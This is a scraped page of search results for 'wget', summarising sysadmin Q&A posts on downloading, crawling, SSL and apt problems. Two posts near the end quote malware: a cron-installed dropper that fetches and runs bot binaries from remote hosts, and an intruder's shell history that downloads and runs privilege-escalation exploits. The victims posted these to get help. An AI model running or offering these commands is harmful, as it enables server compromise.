Search Results

Search found 593 results on 24 pages for 'wget'.

facebook twitter digg google delicious technorati stumbleupon myspace wordpress linkedin gmail igoogle windows live tumblr viadeo yahoo buzz yahoo mail yahoo bookmarks favorites email print

Page 6/24 | < Previous Page | 2 3 4 5 6 7 8 9 10 11 12 13  | Next Page >

  • Download a file via HTTP from a script in Windows

    - by Jason R. Coombs
    I want a way to download a file via HTTP given its URL (similar to how wget works). I've seen the answers to this question, but I have two changes to the requirements: I'd like it to run on Windows 7 or later (though if it works on Windows XP, that's a bonus). I need to be able to do this on a stock machine with nothing but the script, which should be text that could be easily entered on a keyboard or copy/pasted. The shorter, the better. So, essentially, I'd like a .cmd (batch) script, VBScript, or Powershell script that can accomplish the download. It could use COM or invoke IE, but it needs to run without any input, and should behave well when invoked without a display (such as through a telnet session).

    Read the article

  • Website crawler/spider to get site map

    - by ack__
    I need to retrieve a whole website map, in a format like : http://example.org/ http://example.org/product/ http://example.org/service/ http://example.org/about/ http://example.org/product/viewproduct/ I need it to be linked-based (no file or dir brute-force), like : parse homepage - retrieve all links - explore them - retrieve links, ... And I also need the ability to detect if a page is a "template" to not retrieve all of the "child-pages". For example if the following links are found : http://example.org/product/viewproduct?id=1 http://example.org/product/viewproduct?id=2 http://example.org/product/viewproduct?id=3 I need to get only once the http://example.org/product/viewproduct I've looked into HTTtracks, wget (with spider-option), but nothing conclusive so far. The soft/tool should be downloadable, and I prefer if it runs on Linux. It can be written in any language. Thanks

    Read the article

  • How can I scrape specific data from a website

    - by Stoney
    I'm trying to scrape data from a website for research. The urls are nicely organized in an example.com/x format, with x as an ascending number and all of the pages are structured in the same way. I just need to grab certain headings and a few numbers which are always in the same locations. I'll then need to get this data into structured form for analysis in Excel. I have used wget before to download pages, but I can't figure out how to grab specific lines of text. Excel has a feature to grab data from the web (Data-From Web) but from what I can see it only allows me to download tables. Unfortunately, the data I need is not in tables.

    Read the article

  • how can i use apache log files to recreate usage scenario

    - by daigorocub
    Recently i installed a website that had too many requests and it was too slow. Many improvements have been made to the web site code and we've also bought a new server. I want to test the new server with exactly the same requests that made the old server slow. After that, i will double the requests, make new tests and so on. These requests are logged in the apache log files. So, I can parse those files and make some kind of script to make the same requests. Of course, in this case, the requests will be made only by my computer against the server, but hey, better than nothing. Questions: - is there some app that does this already? - would you use wget? ab? python script? Thanks!

    Read the article

  • transfer code from one server to other server.

    - by Kamlesh Bhure
    I wanted to transfer new code into my new production server. I have code files on my development server. Instead of uploading files using FTP from my local machine, there is other way to transfer code from one server to other. What I am thinking I will make zip file of whole code to be transfer and place it in webroot. So that it would be accessible in internet with some link http://www.mydomain.com/code.tar.gz now on the other server i will just run command wget http://www.mydomain.com/code.tar.gz Will this transfer done in few seconds...? May I know is this correct approach?

    Read the article

  • rss downloader script

    - by The Digital Ninja
    I have a Synology NAS that is powered by linux at my house. I'm looking to set up a cron script to check a group of rss feeds and auto download new video podcasts to a shared folder. I can do most of the scripting, such as deleting files older than 3 weeks and the wget parts. But I'm not sure how to parse the rss feed and check dates to only grab the latest. I figured its best not to re-invent the wheel and surly someone out there has a command line rss downloader or some such script. Any ideas?

    Read the article

  • SSL connection hangs as client hello (curl, openssl client, apt-get, wget, everything)

    - by Niklas B
    Hi, I've run into a problem on my Debian VPS (a xen domU) regarding SSL. Namely almost all SSL connections hangs at client hello. For example: # curl -vI https://graph.facebook.com About to connect() to graph.facebook.com port 443 (#0) Trying 66.220.146.48... connected Connected to graph.facebook.com (66.220.146.48) port 443 (#0) successfully set certificate verify locations: CAfile: none CApath: /etc/ssl/certs SSLv3, TLS handshake, Client hello (1): It's the same when using the openssl client. However, some of the SSL traffic works (for example https://www.nordea.se). Server #uname -a Linux server.com 2.6.26-1-xen-amd64 #1 SMP Fri Mar 13 21:39:38 UTC 2009 x86_64 GNU/Linux It does however work on my Dom 0 (the main xen host). Apt-get I can't even run apt-get update with the debian security sources (hangs on reading headers) Open SSL At the begining I thought I had an old openssl client (0.9.8o-4) since I appeared to have a newer on the Dom 0 (0.9.8g-15+lenny8) but doing a manuanl update on the openssl deb didn't help. Open SSL Client This is the full output of when the openssl client hangs: http://pastebin.com/PAjwMap9 Closing thoughts I've Googled the crap out of this, and I'm not getting any further. I've seen problems with curl, apt-get etc. but they are all specific relating to the very application - not general for the system. Any thoughts?

    Read the article

  • Using wget via Python

    - by CoreIs
    How would I download files (video) with Python using wget and save them locally? There will be a bunch of files, so how do I know that one file is downloaded so as to automatically start downloding another one? Thanks.

    Read the article

  • How can I resume downloads in Perl?

    - by Neeraj
    I have a project that depends upon some other binaries to be downloaded from web at install time.For this what i do is: if ( file-present-in-src/) # skip that file else # use wget to download the file The problem with this approach is that when I interrupt a download in middle, and do invoke the script next time, the partially downloaded file is also skipped (which is not desired), also I want wget to resume the download of the partially downloaded file. How should I go about it: Possible Solutions I could think of: Let the file to be downloaded to some file say download_tmp. Move to original file if successful. Handle SIG{'INT'} to write proper cleanup code. But none of these could help resume the partial file download, Any insights?

    Read the article

  • Download files using Perl

    - by Neeraj
    I have a project that depends upon some other binaries to be downloaded from web at install time.For this what i do is: if ( file-present-in-src/) # skip that file else # use wget to download the file The problem with this approach is that when I interrupt a download in middle, and do invoke the script next time, the partially downloaded file is also skipped (which is not desired), also I want wget to resume the download of the partially downloaded file. How should I go about it: Possible Solutions I could think of: Let the file to be downloaded to some file say download_tmp. Copy to original file if successful. Handle SIG{'INT'} to write proper cleanup code. But none of these could help resume the partial file download, Any insights?

    Read the article

  • Does aria2 support write small files in batch?

    - by Jon
    I'm using aria2 to download 8 million jpg from flickr. Each image is about 100KB. I got a list of urls of these images in a txt file, the format is: http://farm2.staticflickr.com/1070/1151334893_5a8e7f77f4.jpg I'm wondering whether aria2 support writing small files in batch? Say write 100 image to disk when all of them are download in the memory, not just write every single file when the download is finished. Because I think writing in batch will better protect my hard disk. Or do you have other software or opensource code to recommend?

    Read the article

  • Downloading multimedia content in java from php pages

    - by jmcejuela
    The url: http://www.teamliquid.net/replay/download.php?replay=1830 is a download link to a .rep file. My question is: how to download this content in java knowing the name of the original rep file in order to save it with a defined prefix, like path/_.rep //I was trying to run wget from java but I don't see how to get the original file's name.

    Read the article

  • Downloading a web page and all of its resource files in Python

    - by Mark
    I want to be able to download a page and all of its associated resources (images, style sheets, script files, etc) using Python. I am (somewhat) familiar with urllib2 and know how to download individual urls, but before I go and start hacking at BeautifulSoup + urllib2 I wanted to be sure that there wasn't already a Python equivalent to "wget --page-requisites http://www.google.com". Specifically I am interested in gathering statistical information about how long it takes to download an entire web page, including all resources. Thanks Mark

    Read the article

  • How to manually build mysql cache

    - by hamstar
    I have a table of over 150,000 rows of which most would be updated daily. I have mysql caching turned on so the pages load faster however everytime the database is updated the pages load slow again, which I assume is the cache building itself again. So at the moment I have resorted to doing a wget -m --delete-after http://localhost/ on the server however this takes about 4 hours to complete and moves something like 13 gig. Is there a better way to do this?

    Read the article

  • Hudson trigget builds remotely gives a forbidden 403 error

    - by Ritesh M Nayak
    I have a shell script on the same machine that hudson is deployed on and upon executing it, it calls wget on a hudson build trigger URL. Since its the same machine, I access it as http://localhost:8080/hudson/job/jobname/build?token=sometoken Typically, this is supposed to trigger a build on the project. But I get a 403 forbidden when I do this. Anybody has any idea why? I have tried this using a browser and it triggers the build, but via the command line it doesn't seem to work. Any ideas?

    Read the article

  • Tool to Verify Site URLs/SiteMap?

    - by LockeCJ
    I'm moving a site from one e-commerce software to another, and I've created URL Rewriter rules to do 301 redirects from the Old URLs to the new ones. I've tested them with a small sample of URLs, but I'm looking for some sort of tool that will let me test as many of the URLs as possible. Does anyone know of a tool that I can feed a list of URLs (or a sitemap.xml). This tool will attempt to retrieve each URL, and then report the status code for each. The result should be a list of URLs with the status code, something like this: www.site.com/oldurlformat1/ 301 Permanently Moved www.site.com/newurlformat1/ 200 OK www.site.com/oldurlformat2/ 301 Permanently Moved www.site.com/newurlformat2/ 200 OK I can almost do this with wget, but getting the summary/report at the end is where I'm stuck.

    Read the article

  • Hudson trigger builds remotely gives a forbidden 403 error

    - by Ritesh M Nayak
    I have a shell script on the same machine that hudson is deployed on and upon executing it, it calls wget on a hudson build trigger URL. Since its the same machine, I access it as http://localhost:8080/hudson/job/jobname/build?token=sometoken Typically, this is supposed to trigger a build on the project. But I get a 403 forbidden when I do this. Anybody has any idea why? I have tried this using a browser and it triggers the build, but via the command line it doesn't seem to work. Any ideas?

    Read the article

  • CentOS 6.5 proxy bypass/no_proxy not working

    - by Naruto Uzumaki
    I am running CentOS 6.5 on my desktop. I've set the Network Proxy using the network proxy application provided under Preferences. I've also set the following exceptions: localhost,127.0.0.0/8,172.16.0.0/12,192.168.0.0./16 But whenever I am using wget (I'm testing the proxy settings using using wget) then wget tries to connect to the proxy for private addresses, but wget localhost works fine and doesn't use the proxy. I also removed all the proxy settings and set the proxy in the shell: export http_proxy="<proxy_url>:<port>" export https_proxy="<proxy_url>:<port>" export no_proxy="localhost,127.0.0.0/8,172.16.0.0/12,192.168.0.0./16" It work when I use the command wget <external_url> or wget localhost but fails when I use the command wget <private address from the $no_proxy variable>. I also tried setting the variables in Ubuntu 14.04 also and facing the same issue. Regards,

    Read the article

  • Why do apt-get and wget fail on my server when ping is working?

    - by klox
    Yesterday my server still OK, but today after try to sudo apt-get update i got this error: update process. I try: sudo rm /var/lib/apt/lists/* -vf And got This.Then try update again, but it's not solving my problem then show May be still same error. I checked my internet connection try ping google.com, get result : PING google.com (74.125.235.40) 56(84) bytes of data. From 136.198.117.254: icmp_seq=1 Redirect Network(New nexthop: fw1.jvc-jein.co.id (136.198.117.6)) 64 bytes from sin01s05-in-f8.1e100.net (74.125.235.40): icmp_req=1 ttl=53 time=20.6 ms 64 bytes from sin01s05-in-f8.1e100.net (74.125.235.40): icmp_req=2 ttl=53 time=18.2 ms 64 bytes from sin01s05-in-f8.1e100.net (74.125.235.40): icmp_req=3 ttl=53 time=33.0 ms 64 bytes from sin01s05-in-f8.1e100.net (74.125.235.40): icmp_req=4 ttl=53 time=30.0 ms 64 bytes from sin01s05-in-f8.1e100.net (74.125.235.40): icmp_req=5 ttl=53 time=28.1 ms In some sites said that may be it caused by getdeb server is down. try to install: jeinqa@SVRQAR:~$ sudo apt-get install pastebinit Reading package lists... Error! E: Encountered a section with no Package: header E: Problem with MergeList /var/lib/apt/lists/security.ubuntu.com_ubuntu_dists_precise-security_restricted_binary-amd64_Packages E: The package lists or status file could not be parsed or opened. try : sudo ufw status verbose result : Status: inactive

    Read the article

  • Is SecureShellz bot a virus? How does it work?

    - by ProGNOMmers
    I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd [...] http://stablehost.us/bots/regular.bot contents are: #!/bin/sh if [ $(whoami) = "root" ]; then echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1 wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2 exit 1 fi wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_ I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him. It seems to me this script downloads some remote C source codes and binaries, compile them and execute them. I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server. Can you give me more infos about what this code does? About its working, its purposes?

    Read the article

  • stunnel client uses improper SNI when talking to Apache

    - by Huckle
    I have stunnel listening on port 80 and acting as a client connecting to Apache listening on port 443. Configuration is below. What I'm finding is that if I attempt to connect to localhost:80 the connection is fine but if I connect to 127.0.0.1:80 When I check Apache's logs it indicates that stunnel is using localhost as the SNI both times, but the HTTP request lists localhost in one case and 127.0.0.1 in another. Is it possible to tell stunnel to either use whatever is in the HTTP request or to somehow configure two clients each with different SNI values? stunnel.conf: debug = 7 options = NO_SSLv2 [xmlrpc-httpd] client = yes accept = 80 connect = 443 Apache error.log: [error] Hostname localhost provided via SNI and hostname 127.0.0.1 provided via HTTP are different Apache access.log: "GET / HTTP/1.1" 200 2138 "-" "Wget/1.13.4 (linux-gnu)" "GET / HTTP/1.1" 400 743 "-" "Wget/1.13.4 (linux-gnu)" wget: $wget -d localhost ---request begin--- GET / HTTP/1.1 User-Agent: Wget/1.13.4 (linux-gnu) Accept: */* Host: localhost Connection: Keep-Alive ---request end--- $wget -d 127.0.0.1 ---request begin--- GET / HTTP/1.1 User-Agent: Wget/1.13.4 (linux-gnu) Accept: */* Host: 127.0.0.1 Connection: Keep-Alive ---request end--- edit: Apache Config Nothing out of the ordinary, it's just a virtual host listening to 443 <VirtualHost *:443>

    Read the article

  • Ubuntu Server hack

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

    Read the article

facebook twitter digg google delicious technorati stumbleupon myspace wordpress linkedin gmail igoogle windows live tumblr viadeo yahoo buzz yahoo mail yahoo bookmarks favorites email print

< Previous Page | 2 3 4 5 6 7 8 9 10 11 12 13  | Next Page >